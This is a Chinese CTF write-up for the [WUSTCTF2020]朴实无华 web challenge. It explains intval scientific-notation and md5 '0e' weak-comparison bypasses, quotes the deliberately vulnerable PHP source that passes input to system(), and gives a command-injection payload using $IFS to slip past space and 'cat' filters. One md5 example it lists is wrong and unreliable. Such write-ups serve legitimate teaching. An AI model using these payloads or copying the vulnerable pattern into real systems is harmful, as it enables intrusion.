[WUSTCTF2020]朴实无华

这题体验还是蛮不错的。

绕过知识点汇

intval 绕过

这个函数是强制转换为int类型。经测试以下只适合php7.0及以下版本，7.2.23版本测试不可以（就算是字符串也直接解析科学记数法）

<?php
$a="3e4";
echo intval($a);
?>
// 3
<?php
$a="3e4";
echo intval($a+1);
?>
//30001

但进行加 1 时会先将$a的科学计数法解析然后再加 1 。
也就是说我们传入 12e3 第一次intval会为12 ，+1后会取得12001那么我们成功绕过了。

注：
在科学计数法字符串转换为数字时，如果 E 后面的数小于某个值会弄成 double 类型，再强制转换为 int 类型时可能会有奇妙的结果，测试发现某变量为 1e-1000 时已经可以触发这个漏洞绕过两个检查，使得某变量既大于 0 又不大于 0。

md5 弱比较

按照题目要求理解，就是一个值的md5值弱等于它本身。md5值利用：

0e215962017
md5值：0e291242476940776845150308577824
0e2159620
md5值：0e2159620

绕过空格和cat

以前也记录过，这里说几个常用的；
代替cat: more、less、head、tail、sort
代替空格：$IFS、${IFS}、$IFS$1
具体参考

解题

1. 看到标题栏有个bot，或者直接扫描可的 robots.txt文件的存在。
2. 得到 /fAke_f1agggg.php 访问，然后看返回包得到提示 /fAke_f1agggg.php
3. 访问后得到源码，有乱码的改编码为unicode即可

   //level 1
   if (isset($_GET['num'])){
       $num = $_GET['num'];
       if(intval($num) < 2020 && intval($num + 1) > 2021){
           echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
       }else{
           die("金钱解决不了穷人的本质问题");
       }
   }else{
       die("去非洲吧");
   }
   //level 2
   if (isset($_GET['md5'])){
      $md5=$_GET['md5'];
      if ($md5==md5($md5))
          echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
      else
          die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
   }else{
       die("去非洲吧");
   }
   
   //get flag
   if (isset($_GET['get_flag'])){
       $get_flag = $_GET['get_flag'];
       if(!strstr($get_flag," ")){
           $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
           echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
           system($get_flag);
       }else{
           die("快到非洲了");
       }
   }else{
       die("去非洲吧");
   }
   ?>

4. 根据上面发分析，我们得到payload为:

   http://7bebf4d9-bef3-4974-bc0f-df8ec8936e31.node3.buuoj.cn/fl4g.php?num=23e2&md5=0e215962017&get_flag=more${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

   当然在此之前先执行让网页执行 ls 命令得到flag的名字。